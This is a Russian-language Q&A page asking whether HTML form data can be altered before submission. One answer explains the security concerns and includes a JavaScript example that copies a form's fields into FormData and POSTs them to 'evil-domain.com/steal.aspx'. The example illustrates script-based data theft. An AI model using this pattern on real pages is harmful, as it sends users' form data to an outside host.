Есть ли способ изменить данные формы, которые будут отправлены на сервер перед отправкой? - PullRequest
0 голосов
/ 05 января 2019

Кроме добавления дополнительных скрытых элементов управления в форму в событии submit, есть ли способ изменить полезную нагрузку, которая будет отправлена ​​при отправке формы, до ее отправки?

$("#frm").submit(event) {
  // Is there an API to change
  // the request body here
}

Например, Я бы хотел -

  1. Изменить имя скрытого поля, которое отправляется.

  2. Добавьте несколько повторяемых / перечислимых объектов в тело запроса / полезную нагрузку.

Я могу обойти обе проблемы, добавив в форму больше скрытых элементов управления с нужными им именами и написав пользовательский механизм связывания моделей на сервере.

Но есть ли клиентский API, который позволяет вам изменять содержимое, которое будет отправлено на сервер перед их отправкой?

Ответы [ 2 ]

0 голосов
/ 30 июля 2019

На данный момент нет, нет. И вероятно, никогда не будет из-за последствий для безопасности.

Последствия использования такой функции для безопасности

Представьте себе сторонний скрипт, который вы скачали, потому что вы использовали плагин (например, Google Analytics, ShareThis, объявления от рекламного поставщика и т. Д.), Который может вставлять свои собственные данные в ваши формы. Для них было бы возможно сделать это, если бы был такой способ.

Но вы можете сделать что-то подобное для запросов AJAX

Там - это , действительно, FormData объект, но это просто набор свойств, который позволяет сценарию копировать данные из существующего form элемента на странице или просто запускать с пустым объектом FormData, то есть с пустой сумкой свойств, поместите в него некоторые дополнительные свойства и отправьте их на сервер, будь то ваше веб-приложение или стороннее приложение, но только в запросе AJAX .

var additionalDataToAppendToForm = { ... };

var formData = new FormData(myFormElement); // copies existing values from form to FormData
formData.delete(existingFieldName1);
formData.set(existingFieldName2, "newValue");
formData.append(/*name */ "additionalField1", /* value */ additionalDataToAppendToForm);

var xhr = new XmlHttpRequest();
xhr.open("POST", "https://evil-domain.com/steal.aspx");
xhr.send(formData);

И это подразумевает безопасность вашего веб-приложения, если и только если вы не обратили внимание на Политика одинакового происхождения и не защитили свой веб-сервер от предполетных запросов от другие домены.

PS: Я задал этот вопрос и тогда решил, что не существует способа, и это было правильно, и добавил больше скрытых полей в мою форму, как указано в моем вопросе. Но с тех пор я собирался написать ответ, чтобы прояснить это для всех, у кого может возникнуть этот вопрос, поэтому я пишу этот ответ.

0 голосов
/ 05 января 2019

Советую посмотреть на Можно ли изменить данные формы перед отправкой?

Насколько я понимаю, у этого вопроса может быть частичное решение вашей проблемы

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...